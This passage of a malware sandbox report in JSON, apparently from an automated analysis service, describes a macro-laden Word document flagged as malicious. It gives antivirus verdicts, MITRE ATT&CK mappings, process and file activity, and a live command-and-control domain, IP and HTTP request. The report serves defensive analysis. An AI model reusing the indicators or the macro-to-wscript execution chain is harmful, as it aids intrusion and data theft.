eXplorer","success":true,"verdict":"malicious","threat_name":"Office.VBA_Macro_Heur","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"VBA:Amphitryon.4584","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Execution","technique":"User Execution","attack_id":"T1204","attack_id_wiki":"https://attack.mitre.org/techniques/T1204","identifiers":[{"type":"informative","value":"Contains embedded VBA macros"}],"sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]},{"tactic":"Execution","technique":"Malicious File","attack_id":"T1204.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1204/002","identifiers":[{"type":"malicious","value":"Document spawns new processes"}],"sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]},{"tactic":"Persistence","technique":"Office Application Startup","attack_id":"T1137","attack_id_wiki":"https://attack.mitre.org/techniques/T1137","identifiers":[{"type":"malicious","value":"Contains embedded VBA macros with keywords that indicate auto-execute behavior"},{"type":"informative","value":"Contains embedded VBA macros (normalized)"}],"sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]},{"tactic":"Defense Evasion","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Creates or modifies windows services"}],"sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]},{"tactic":"Credential Access","technique":"Credential API Hooking","attack_id":"T1056.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/004","identifiers":[{"type":"suspicious","value":"Installs hooks/patches the running process"}],"sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"suspicious","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Contains ability to read software policies"}],"sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"suspicious","value":"Reads the active computer name"},{"type":"suspicious","value":"Reads information about supported languages"},{"type":"informative","value":"Reads Windows Trust Settings"}],"sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"suspicious","value":"Touches files in program files directory"}],"sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","identifiers":[{"type":"suspicious","value":"Found a potential E-Mail address in binary/memory"}],"sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"malicious","value":"GETs files from a webserver"}],"sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]}],"sandbox_signatures":[{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"\"wscript.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \"wscript.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"LEVELS\")\n \"wscript.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"DEFAULTLEVEL\")\n \"wscript.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"SAFERFLAGS\")\n \"wscript.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"POLICYSCOPE\")\n \"wscript.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"LOGFILENAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"samsoding.homm7.gethompy.com\"","origin":"Network Traffic","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"203.245.24.20:80\"","origin":"Network Traffic","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]},{"level":"informative","category":"General","name":"Contains embedded VBA macros","description":"$25","origin":"Static Parser","mitre_attack_id":"T1204","relevance":10,"id":"static-13","sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]},{"level":"informative","category":"General","name":"Contains embedded VBA macros (normalized)","description":"$26","origin":"File/Memory","mitre_attack_id":"T1137","relevance":10,"id":"string-50","sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"\\Sessions\\1\\BaseNamedObjects\\Local\\10MU_ACBPIDS_S-1-5-5-0-69956\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\10MU_ACB10_S-1-5-5-0-69956\"\n \"\\Sessions\\1\\BaseNamedObjects\\Global\\552FFA80-3393-423d-8671-7BA046BB5906\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Global\\MTX_MSO_Formal1_S-1-5-21-2092356043-4041700817-663127204-1001\"\n \"\\Sessions\\1\\BaseNamedObjects\\Global\\MTX_MSO_AdHoc1_S-1-5-21-2092356043-4041700817-663127204-1001\"\n \"Global\\552FFA80-3393-423d-8671-7BA046BB5906\"\n \"Local\\ZonesLockedCacheCounterMutex\"\n \"Local\\10MU_ACBPIDS_S-1-5-5-0-69956\"\n \"Global\\MTX_MSO_Formal1_S-1-5-21-2092356043-4041700817-663127204-1001\"\n \"Local\\10MU_ACB10_S-1-5-5-0-69956\"\n \"Local\\ZonesCacheCounterMutex\"\n \"Global\\MTX_MSO_AdHoc1_S-1-5-21-2092356043-4041700817-663127204-1001\"","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]},{"level":"informative","category":"General","name":"Drops files marked as clean","description":"Antivirus vendors marked dropped file \"~_7eecb0d135f064da15343c08811ef6b8be083c0ea848249c58ae387c53f322.doc\" as clean (type is \"data\")","origin":"Binary File","relevance":10,"id":"binary-16","sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]},{"level":"informative","category":"General","name":"Found API related strings","description":"$27","origin":"File/Memory","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]},{"level":"informative","category":"General","name":"Loads rich edit control libraries","description":"\"WINWORD.EXE\" loaded module \"%COMMONPROGRAMFILES%\\microsoft shared\\OFFICE14\\RICHED20.DLL\" at 60DA0000","origin":"Loaded Module","id":"module-2","sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"\"wscript.exe\" touched \"VB Script Language\" (Path: \"HKCU\\CLSID\\{B54F3741-5B07-11CF-A4B0-00AA004A55E8}\")\n \"wscript.exe\" touched \"Server XML HTTP 6.0\" (Path: \"HKCU\\CLSID\\{88D96A0B-F192-11D4-A65F-0040963251E5}\\PROGID\")\n \"wscript.exe\" touched \"WinHttpRequest Component version 5.1\" (Path: \"HKLM\\SOFTWARE\\CLASSES\\CLSID\\{2087C2F4-2CEF-4953-A8AB-66779B670495}\\TREATAS\")\n \"wscript.exe\" touched \"Multi Language Support\" (Path: \"HKLM\\SOFTWARE\\CLASSES\\CLSID\\{275C23E2-3747-11D0-9FEA-00AA003F8646}\\TREATAS\")","origin":"Registry Access","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"Process \"wscript.exe\" (UID: 00000000-00003644) was launched with modified environment variables: \"Path\"\n Process \"wscript.exe\" (UID: 00000000-00003644) was launched with missing environment variables: \"MEOW, PROMPT\"","origin":"Monitored Target","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]},{"level":"informative","category":"General","name":"Reads Windows Trust Settings","description":"\"wscript.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-20","sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"Spawned process \"wscript.exe\" with commandline \"//e:vbscript //b %APPDATA%\\Microsoft\\Templates\\1589989024.xml\" (UID: 00000000-00003644)","origin":"Monitored Target","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"$28","origin":"Binary File","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]},{"level":"informative","category":"Installation/Persistence","name":"Drops LNK files (Windows shortcut)","description":"$29","origin":"Binary File","relevance":5,"id":"binary-31","sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Pattern match: \"ZRviO.Etq/Z%k,|aK_pz4s.4\"\n Pattern match: \"http://schemas.openxmlformats.org/drawingml/2006/main\"\n Pattern match: \"Xhq.drs/e2oDoc.xmlPK-!:drs/downrev.xmlPK\"\n Pattern match: \"q.drs/e2oDoc.xmlPK-!Vxdrs/downrev.xmlPK\"\n Pattern match: \"mq.drs/e2oDoc.xmlPK-!drs/downrev.xmlPK5\"\n Pattern match: \"http://schemas.openxmlformats.org/officeDocument/2006/bibliography\"\n Pattern match: \"http://schemas.openxmlformats.org/officeDocument/2006/customXml\"\n Pattern match: \"mq.drs/e2oDoc.xmlPK-!drs/downrev.xmlPKB\"\n Pattern match: \"http://samsoding.homm7.gethompy.com/plugins/dropzone/min/css/list.php?query=1\"\n Heuristic match: \"samsoding.homm7.gethompy.com\"\n Heuristic match: \"GET /plugins/dropzone/min/css/list.php?query=1 HTTP/1.1\nConnection: Keep-Alive\nAccept: */*\nAccept-Language: en-us\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nHost: samsoding.homm7.gethompy.com\"","origin":"File/Memory","relevance":10,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"wscript.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]},{"level":"suspicious","category":"Environment Awareness","name":"Reads the active computer name","description":"\"wscript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]},{"level":"suspicious","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"wscript.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":10,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]},{"level":"suspicious","category":"External Systems","name":"Found an IP/URL artifact that was identified as malicious by at least three reputation engines","description":"3/88 reputation engines marked \"http://samsoding.homm7.gethompy.com\" as malicious (3% detection rate)\n 4/89 reputation engines marked \"http://samsoding.homm7.gethompy.com/plugins/dropzone/min/css/list.php\" as malicious (4% detection rate)","origin":"External System","relevance":10,"id":"avtest-6","sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"35/62 Antivirus vendors marked sample as malicious (56% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]},{"level":"suspicious","category":"General","name":"Found a potential E-Mail address in binary/memory","description":"Pattern match: \"ucs@unikorea.go.kr\"\n Pattern match: \"z@f.x\"\n Pattern match: \"j@x._\"\n Pattern match: \"bsk@.fill.solidc\"","origin":"File/Memory","mitre_attack_id":"T1114","relevance":3,"id":"string-63","sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 203.245.24.20 on port 80 is sent without HTTP header","origin":"Network Traffic","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]},{"level":"suspicious","category":"Network Related","name":"Uses a User Agent typical for browsers, although no browser was ever launched","description":"Found user agent(s): Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)","origin":"Network Traffic","relevance":10,"id":"network-22","sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Touches files in program files directory","description":"\"wscript.exe\" trying to touch file \"%PROGRAMFILES%\\Microsoft Silverlight\\xapauthenticodesip.dll\"","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-113","sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Installs hooks/patches the running process","description":"\"wscript.exe\" wrote bytes \"e7394377e1a647772e714777ee29477785e242776da04777906446773ad54d7726e44277d16d4777003d4577804b457700000000ad3793768b2d9376b641937600000000\" to virtual address \"0x74CE1000\" (part of module \"WSHIP6.DLL\")\n \"wscript.exe\" wrote bytes \"fae64277e1a647772e714777ee29477785e242776da0477726e44277d16d4777003d4577804b457700000000ad3793768b2d9376b641937600000000\" to virtual address \"0x74771000\" (part of module \"WSHTCPIP.DLL\")\n \"wscript.exe\" wrote bytes \"c04e457720544677e0654677b53847770000000000d09b7600000000c5ea9b760000000088ea9b7600000000e968367582284777ee29477700000000d2693675000000007dbb9b760000000009be367500000000ba189b7600000000\" to virtual address \"0x77581000\" (part of module \"NSI.DLL\")","origin":"Hook Detection","mitre_attack_id":"T1056.004","relevance":10,"id":"hooks-8","sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Reads information about supported languages","description":"\"wscript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"wscript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"wscript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]},{"level":"malicious","category":"External Systems","name":"Sample detected by CrowdStrike Static Analysis and ML with relatively high confidence","description":"CrowdStrike Static Analysis and ML (QuickScan) yielded detection: msoffice/malicious_confidence_100% (W)","origin":"External System","relevance":10,"id":"avtest-8","sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a large number of Antivirus engines","description":"35/62 Antivirus vendors marked sample as malicious (56% detection rate)","origin":"External System","relevance":10,"id":"avtest-3","sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a trusted Antivirus engine","description":"No specific details available","origin":"External System","relevance":10,"id":"avtest-5","sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]},{"level":"malicious","category":"General","name":"Document spawns new processes","description":"Document spawned a new process (macro present)","origin":"Indicator Combinations","mitre_attack_id":"T1204.002","relevance":7,"id":"summary-3","sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]},{"level":"malicious","category":"General","name":"GETs files from a webserver","description":"\"GET /plugins/dropzone/min/css/list.php?query=1 HTTP/1.1\nConnection: Keep-Alive\nAccept: */*\nAccept-Language: en-us\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nHost: samsoding.homm7.gethompy.com\"","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":10,"id":"network-16","sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Contains embedded VBA macros with keywords that indicate auto-execute behavior","description":"Found keyword \"AutoOpen\" which indicates: \"Runs when the Word document is opened\"","origin":"Static Parser","mitre_attack_id":"T1137","relevance":10,"id":"static-14","sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Contains embedded string that indicates auto-execute behavior","description":"Found keyword \"AutoOpen\" which indicates: \"Runs when the Word document is opened\"","origin":"File/Memory","relevance":10,"id":"string-20","sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]}],"incidents":[{"name":"Persistence","details_count":1,"details":[{"detail":"Installs hooks/patches the running process"}],"sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]},{"name":"Fingerprint","details_count":2,"details":[{"detail":"Reads the cryptographic machine GUID"},{"detail":"Reads the active computer name"}],"sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 1 domain and 1 host"}],"sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]}]},"activity":{"stats":{"process_count":2,"spawned_processes_count":2,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":14,"imported_dlls_count":127,"dropped_files_count":0,"extracted_files_count":12,"files_written_count":16,"files_deleted_count":0,"registry_keys_created_count":3,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":3,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":1,"dns_resolutions_count":1,"contacted_urls_count":1,"http_requests_count":1},"behavior_tags":["banker","emotet","infostealer","macros-on-open","qakbot"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"632903e10df48f3adc25e73a","environment_id":100,"environment_description":"Windows 7 32 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"VBA.Heur.Bomber.1.F6875916","contacted_countries":["KOR"],"submit_name":"CA7EECB0D135F064DA15343C08811EF6B8BE083C0EA848249C58AE387C53F322","analysis_start_time":"2022-09-20T00:05:54+00:00","indicators_count":{"informative":17,"suspicious":10,"malicious":8},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"203.245.24.20","port":80,"protocol":"TCP","country":"Korea, Republic of","sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]}],"dns_resolutions":[{"domain":"samsoding.homm7.gethompy.com","address":"203.245.24.20","ttl":1800,"country":"Korea, Republic of","registrar_name":"Gabia, Inc.","registrar_organization":"Whois Privacy Services by gabia","registrar_name_servers":"NS.GETHOMPY.COM","registrar_creation_date":"2008-11-21T00:00:00+00:00","sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]}],"http_requests":[{"host":"samsoding.homm7.gethompy.com","host_ip":"203.245.24.20:80","url":"/plugins/dropzone/min/css/list.php?query=1","method":"GET","header":"GET /plugins/dropzone/min/css/list.php?query=1 HTTP/1.1\nConnection: Keep-Alive\nAccept: */*\nAccept-Language: en-us\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nHost: samsoding.homm7.gethompy.com","sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}],"processes":[{"pid":3096,"ppid":0,"name":"WINWORD.EXE","command_line":"/n \"C:\\ca7eecb0d135f064da15343c08811ef6b8be083c0ea848249c58ae387c53f322.doc\"","sha256":"ee944590b3c253325688f3c1cddc9a439b5a80a3a36443b4b5de788db19d2973","normalized_path":"%PROGRAMFILES%\\Microsoft Office\\Office14\\WINWORD.EXE","uid":"00000000-00003096","icon":"$2a"},{"pid":3644,"ppid":0,"name":"wscript.exe","command_line":"//e:vbscript //b %APPDATA%\\Microsoft\\Templates\\1589989024.xml","sha256":"2160ba6829909eeb1d272ac4a5f43588750c0b4743477bf2b46952033b5d4b3b","normalized_path":"%WINDIR%\\system32\\wscript.exe","uid":"00000000-00003644","icon":"$2b"}],"all_imported_dlls":["webio.dll","ntdll.dll","shell32.dll","userenv.dll","MSO.DLL","shlwapi.dll","profapi.dll","MSGR3EN.DLL","crypt32.dll","pwrshsip.dll","dnsapi.dll","wintrust.dll","wininet.dll","wbemprox.dll","NL7MODELS0009.dll","fastprox.dll","GFX.DLL","api-ms-win-downlevel-user32-l1-1-0.dll","secur32.dll","clbcatq.dll","ntmarta.dll","cscapi.dll","wmiutils.dll","lpk.dll","dwmapi.dll","slc.dll","WWINTL.DLL","SendToOneNoteUI.dll","linkinfo.dll","RpcRtRemote.dll","GKWord.dll","WindowsCodecs.dll","ntdsapi.dll","msisip.dll","MSORES.DLL","normaliz.dll","OART.DLL","cfgmgr32.dll","sspicli.dll","sechost.dll","api-ms-win-downlevel-ole32-l1-1-0.dll","uxtheme.dll","OSPPC.DLL","winhttp.dll","wship6.dll","ole32.dll","fltLib.dll","cryptbase.dll","MSPTLS.DLL","unidrvui.dll","rsaenh.dll","wshqos.dll","msvcp90.dll","fontsub.dll","msasn1.dll","WinSCard.dll","WWLIB.DLL","wtsapi32.dll","prntvpt.dll","winnsi.dll","oleaut32.dll","mscoreei.dll","devobj.dll","GdiPlus.dll","mlang.dll","credssp.dll","api-ms-win-downlevel-version-l1-1-0.dll","ALRTINTL.DLL","vbscript.dll","IPHLPAPI.DLL","api-ms-win-core-synch-l1-2-0.dll","api-ms-win-downlevel-advapi32-l1-1-0.dll","wbemsvc.dll","msproof7.dll","apphelp.dll","powrprof.dll","msvcr90.dll","nsi.dll","rpcss.dll","msxml6r.dll","iertutil.dll","msi.dll","setupapi.dll","mscss7en.dll","WSHTCPIP.DLL","msctf.dll","MSOINTL.DLL","ws2_32.dll","api-ms-win-downlevel-normaliz-l1-1-0.dll","sxs.dll","version.dll","VBE7.DLL","rpcrt4.dll","gdi32.dll","cryptsp.dll","msxml6.dll","MSSP7EN.DLL","wbemcomn.dll","mswsock.dll","FWPUCLNT.DLL","user32.dll","msimg32.dll","advapi32.dll","RICHED20.DLL","mscoree.dll","kernel32.dll","comctl32.dll","usp10.dll","CSS7DATA0009.DLL","xapauthenticodesip.dll","rasadhlp.dll","imm32.dll","propsys.dll","OSPPCEXT.DLL","wshext.dll","KernelBase.dll","mscorwks.dll","wbemdisp.dll","mxdwdrv.dll","bcrypt.dll","msvcrt.dll","urlmon.dll","ntshrui.dll","Wldap32.dll","api-ms-win-downlevel-shlwapi-l1-1-0.dll","USP10.DLL","srvcli.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"~_7eecb0d135f064da15343c08811ef6b8be083c0ea848249c58ae387c53f322.doc","sha256":"a101d3605f8d1ca5cfb10c48dbdb24c45f2627c48f44a2bd2604b88c7b90d5f0","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]},{"name":"1589989024.LNK","sha256":"88aa3ed84ecc1f190ba3261d884c2eedf5190a31645beb2f45e13275dab80137","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]},{"name":"Templates.LNK","sha256":"1a21f7b98a19d709aa5cb7c8aecf87bb0a32158b137bc4d44903ede77fd6e721","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]},{"name":"ca7eecb0d135f064da15343c08811ef6b8be083c0ea848249c58ae387c53f322.LNK","sha256":"8230f9652d836c97fe71fecedf1ac45f4943dee9cac9eaa79f34d7ec3bbfa587","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]},{"name":"index.dat","sha256":"e6b2b8da1cfe6e3261ac64caeefe3c40e41c06d49745db45b1eda2c15052f359","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]},{"name":"~WRD0002.tmp","sha256":"55bf547fe8807d9908b7be87a4a24301e7c1dc516f6d965ca2a0473b8a2ad915","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]},{"name":"ExcludeDictionaryEN0409.lex","sha256":"b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]},{"name":"~WRD0000.tmp","sha256":"85aec601048460ffb9651babc9c8233123e48e06dc838da7f2c4e4666928c8c8","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]},{"name":"~WRS_19930A09-40B1-4C17-BDDE-0BD477D2FDC6_.tmp","sha256":"4826c0d860af884d3343ca6460b0006a7a2ce7dbccc4d743208585d997cc5fd1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]},{"name":"~WRS_A778A42A-8C69-4996-8ADC-C99282FE557E_.tmp","sha256":"5f6269e399ee68ba48551f28e443b81c50ca485e37483b786243bf2d94654961","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]},{"name":"~_89989024.xml","sha256":"a101d3605f8d1ca5cfb10c48dbdb24c45f2627c48f44a2bd2604b88c7b90d5f0","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]},{"name":"~_Normal.dotm","sha256":"a101d3605f8d1ca5cfb10c48dbdb24c45f2627c48f44a2bd2604b88c7b90d5f0","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]}],"files_written":[{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]},{"path":"%APPDATA%\\Microsoft\\Templates\\~$Normal.dotm","sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS{19930A09-40B1-4C17-BDDE-0BD477D2FDC6}.tmp","sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]},{"path":"%TEMP%\\~DF91146CA09CE32600.TMP","sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]},{"path":"C:\\~$7eecb0d135f064da15343c08811ef6b8be083c0ea848249c58ae387c53f322.doc","sources":[{"report_type":"sandbox","report_id":"632903e10df48f3adc25e73a"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet 